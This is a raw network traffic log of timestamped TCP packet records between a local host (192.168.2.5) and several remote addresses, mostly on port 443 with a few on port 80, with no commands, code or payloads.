Nov 11, 2024 19:52:26.006879091 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:26.006910086 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:26.007051945 CET	443	49868	13.91.96.185	192.168.2.5
Nov 11, 2024 19:52:26.007107019 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:26.007123947 CET	49868	443	192.168.2.5	13.91.96.185
Nov 11, 2024 19:52:26.070542097 CET	443	49877	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.070856094 CET	443	49877	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.070920944 CET	49877	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.071599007 CET	443	49873	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.071676970 CET	443	49873	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.071765900 CET	49873	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.074135065 CET	443	49874	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.074192047 CET	443	49874	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.074282885 CET	49874	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.074624062 CET	443	49875	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.074686050 CET	443	49875	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.074897051 CET	49875	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.082469940 CET	49877	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.082487106 CET	443	49877	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.082568884 CET	49877	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.082576036 CET	443	49877	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.083549023 CET	49873	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.083560944 CET	443	49873	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.083573103 CET	49873	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.083578110 CET	443	49873	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.085896969 CET	49874	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.085911989 CET	443	49874	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.085923910 CET	49874	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.085928917 CET	443	49874	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.086513042 CET	49875	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.086519003 CET	443	49875	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.086541891 CET	49875	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.086545944 CET	443	49875	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.088988066 CET	49881	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.089020967 CET	443	49881	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.089118004 CET	49881	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.089989901 CET	49881	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.090003014 CET	443	49881	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.091089964 CET	49882	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.091120005 CET	443	49882	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.091217995 CET	49882	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.091331959 CET	49882	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.091342926 CET	443	49882	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.093903065 CET	49883	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.093915939 CET	443	49883	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.094084978 CET	49883	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.094629049 CET	443	49876	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.094789028 CET	443	49876	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.094856024 CET	49876	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.095031023 CET	49883	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.095040083 CET	443	49883	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.095654011 CET	49884	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.095686913 CET	443	49884	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.095805883 CET	49884	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.095928907 CET	49884	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.095942974 CET	443	49884	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.097696066 CET	49876	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.097702026 CET	443	49876	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.097714901 CET	49876	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.097718954 CET	443	49876	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.100086927 CET	49885	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.100132942 CET	443	49885	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.100188017 CET	49885	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.103003979 CET	49885	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.103015900 CET	443	49885	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.121669054 CET	443	49878	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:26.130995035 CET	49878	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:26.131006956 CET	443	49878	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:26.132144928 CET	443	49878	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:26.132205963 CET	49878	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:26.179248095 CET	49878	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:26.179403067 CET	443	49878	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:26.186995983 CET	49878	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:26.187016010 CET	443	49878	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:26.275672913 CET	443	49880	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.275677919 CET	443	49879	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.275937080 CET	49879	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.275963068 CET	443	49879	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.276307106 CET	49880	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.276318073 CET	443	49880	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.276727915 CET	443	49880	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.277123928 CET	443	49879	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.277174950 CET	49879	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.278218031 CET	49880	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.278280973 CET	443	49880	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.278786898 CET	49879	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.278855085 CET	443	49879	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.279095888 CET	49880	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.279237986 CET	49880	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.279268026 CET	443	49880	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.279268980 CET	49879	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.279278994 CET	443	49879	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.279354095 CET	49879	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.279373884 CET	443	49879	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.303580999 CET	49878	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:26.377971888 CET	443	49879	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.382627964 CET	49879	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.382690907 CET	443	49879	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.382746935 CET	49879	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.396404028 CET	443	49880	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.396837950 CET	49880	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.396874905 CET	443	49880	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.396980047 CET	49880	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.464576006 CET	49886	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.464607954 CET	443	49886	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.464672089 CET	49886	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.465480089 CET	49886	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.465493917 CET	443	49886	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.470108032 CET	443	49878	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:26.470177889 CET	443	49878	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:26.470230103 CET	49878	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:26.470930099 CET	49878	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:26.470961094 CET	443	49878	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:26.641606092 CET	443	49881	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.642410994 CET	443	49883	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.642508984 CET	443	49882	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.643129110 CET	443	49884	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.643415928 CET	443	49885	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.645816088 CET	49885	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.645850897 CET	443	49885	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.646249056 CET	49885	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.646255016 CET	443	49885	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.646648884 CET	49881	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.646670103 CET	443	49881	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.647027969 CET	49881	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.647034883 CET	443	49881	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.647228003 CET	49883	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.647237062 CET	443	49883	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.647658110 CET	49883	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.647663116 CET	443	49883	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.647842884 CET	49882	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.647854090 CET	443	49882	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.648159981 CET	49882	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.648164988 CET	443	49882	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.648327112 CET	49884	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.648335934 CET	443	49884	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.648650885 CET	49884	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.648654938 CET	443	49884	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.724432945 CET	49889	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.724462986 CET	443	49889	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.724528074 CET	49889	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.724948883 CET	49889	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:26.724961042 CET	443	49889	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:26.737776995 CET	443	49881	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.737833023 CET	443	49883	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.737854958 CET	443	49881	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.737937927 CET	49881	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.738008976 CET	443	49883	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.738074064 CET	49883	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.738169909 CET	49881	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.738190889 CET	443	49881	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.738207102 CET	49881	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.738213062 CET	443	49881	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.738322973 CET	49883	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.738328934 CET	443	49883	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.738337040 CET	49883	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.738339901 CET	443	49883	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.740048885 CET	443	49882	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.740101099 CET	443	49882	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.740201950 CET	49882	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.740334988 CET	443	49884	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.740390062 CET	443	49884	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.740394115 CET	49882	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.740406036 CET	443	49882	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.740442038 CET	49884	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.740516901 CET	443	49885	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.741008043 CET	443	49885	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.742079020 CET	49884	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.742089987 CET	443	49884	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.742100954 CET	49885	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.742223024 CET	49885	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.742238045 CET	443	49885	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.742248058 CET	49885	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.742252111 CET	443	49885	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.745126963 CET	49890	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.745157957 CET	443	49890	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.745218992 CET	49890	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.748414993 CET	49891	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.748434067 CET	443	49891	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.748495102 CET	49891	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.748637915 CET	49890	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.748651028 CET	443	49890	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.749775887 CET	49892	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.749799967 CET	443	49892	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.749923944 CET	49891	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.749936104 CET	443	49891	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.749958038 CET	49892	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.750112057 CET	49892	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.750124931 CET	443	49892	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.751182079 CET	49893	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.751195908 CET	443	49893	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.751259089 CET	49893	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.752094030 CET	49894	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.752103090 CET	443	49894	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.752170086 CET	49894	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.752226114 CET	49893	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.752238035 CET	443	49893	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.752306938 CET	49894	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:26.752315998 CET	443	49894	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:26.820135117 CET	49895	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:26.820158958 CET	443	49895	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:26.820301056 CET	49895	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:26.820719004 CET	49895	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:26.820733070 CET	443	49895	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:26.832755089 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:26.832755089 CET	49755	80	192.168.2.5	185.215.113.206
Nov 11, 2024 19:52:26.837686062 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:26.837877989 CET	80	49755	185.215.113.206	192.168.2.5
Nov 11, 2024 19:52:27.049262047 CET	443	49886	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.049500942 CET	49886	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.049514055 CET	443	49886	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.050674915 CET	443	49886	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.050740004 CET	49886	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.051238060 CET	49886	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.051323891 CET	443	49886	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.051593065 CET	49886	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.051599979 CET	443	49886	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.051654100 CET	49886	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.051672935 CET	443	49886	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.096187115 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.096208096 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.096225023 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.096271038 CET	49804	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:27.096304893 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.096321106 CET	49804	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:27.096352100 CET	49804	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:27.096985102 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.097732067 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.097790003 CET	49804	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:27.099886894 CET	49804	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:27.099904060 CET	443	49804	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.099941969 CET	49886	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.208870888 CET	49896	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:27.208908081 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.208997965 CET	49896	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:27.209234953 CET	49896	443	192.168.2.5	40.126.32.68
Nov 11, 2024 19:52:27.209247112 CET	443	49896	40.126.32.68	192.168.2.5
Nov 11, 2024 19:52:27.293968916 CET	443	49892	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.294554949 CET	49892	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.294572115 CET	443	49892	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.295023918 CET	49892	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.295028925 CET	443	49892	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.296293974 CET	443	49895	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:27.296386957 CET	443	49894	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.296564102 CET	49895	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:27.296580076 CET	443	49891	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.296581984 CET	443	49895	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:27.296888113 CET	49894	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.296900988 CET	443	49894	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.296930075 CET	443	49895	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:27.297044039 CET	49891	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.297072887 CET	443	49891	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.297317982 CET	49894	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.297322035 CET	443	49894	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.297609091 CET	49895	443	192.168.2.5	104.126.116.17
Nov 11, 2024 19:52:27.297686100 CET	443	49895	104.126.116.17	192.168.2.5
Nov 11, 2024 19:52:27.297754049 CET	49891	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.297760963 CET	443	49891	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.298218966 CET	443	49893	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.298787117 CET	49893	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.298811913 CET	443	49893	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.299165964 CET	443	49890	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.299297094 CET	49893	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.299304962 CET	443	49893	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.299530029 CET	49890	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.299557924 CET	443	49890	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.299921989 CET	49890	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.299928904 CET	443	49890	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.310965061 CET	443	49889	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.311789036 CET	49889	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.311800957 CET	443	49889	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.312218904 CET	443	49889	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.312706947 CET	49889	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.312777042 CET	443	49889	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.312972069 CET	49889	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.313529968 CET	49889	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.313561916 CET	443	49889	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.391707897 CET	443	49892	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.391777992 CET	443	49892	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.391875982 CET	49892	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.392045975 CET	443	49891	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.392110109 CET	443	49891	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.392159939 CET	49891	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.393502951 CET	443	49893	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.393556118 CET	443	49893	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.393723965 CET	49893	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.395648003 CET	443	49890	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.395703077 CET	443	49890	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.395930052 CET	49890	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.396469116 CET	49892	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.396476030 CET	443	49892	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.396486044 CET	49892	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.396488905 CET	443	49892	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.397483110 CET	443	49894	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.397532940 CET	443	49894	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.397600889 CET	49894	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.419842958 CET	443	49889	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.420397997 CET	49889	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.420452118 CET	443	49889	20.42.73.27	192.168.2.5
Nov 11, 2024 19:52:27.420552015 CET	49889	443	192.168.2.5	20.42.73.27
Nov 11, 2024 19:52:27.425156116 CET	49894	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.425180912 CET	443	49894	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.425199032 CET	49894	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.425205946 CET	443	49894	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.426620007 CET	49891	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.426632881 CET	443	49891	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.426645994 CET	49891	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.426650047 CET	443	49891	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.427448988 CET	49893	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.427464008 CET	443	49893	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.427495956 CET	49893	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.427501917 CET	443	49893	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.428597927 CET	49890	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.428617001 CET	443	49890	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.428647995 CET	49890	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.428658009 CET	443	49890	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.431869030 CET	49897	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.431904078 CET	443	49897	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.431962967 CET	49897	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.432773113 CET	49897	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.432792902 CET	443	49897	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.434684038 CET	49898	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.434711933 CET	443	49898	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.434779882 CET	49898	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.434950113 CET	49898	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.434962988 CET	443	49898	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.436079025 CET	49899	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.436091900 CET	443	49899	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.436184883 CET	49899	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.436717033 CET	49900	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.436732054 CET	443	49900	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.436824083 CET	49900	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.437016964 CET	49899	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.437026024 CET	443	49899	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.437757015 CET	49901	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.437787056 CET	443	49901	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.437856913 CET	49901	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.437916040 CET	49900	443	192.168.2.5	13.107.246.45
Nov 11, 2024 19:52:27.437927961 CET	443	49900	13.107.246.45	192.168.2.5
Nov 11, 2024 19:52:27.438009977 CET	49901	443	192.168.2.5	13.107.246.45
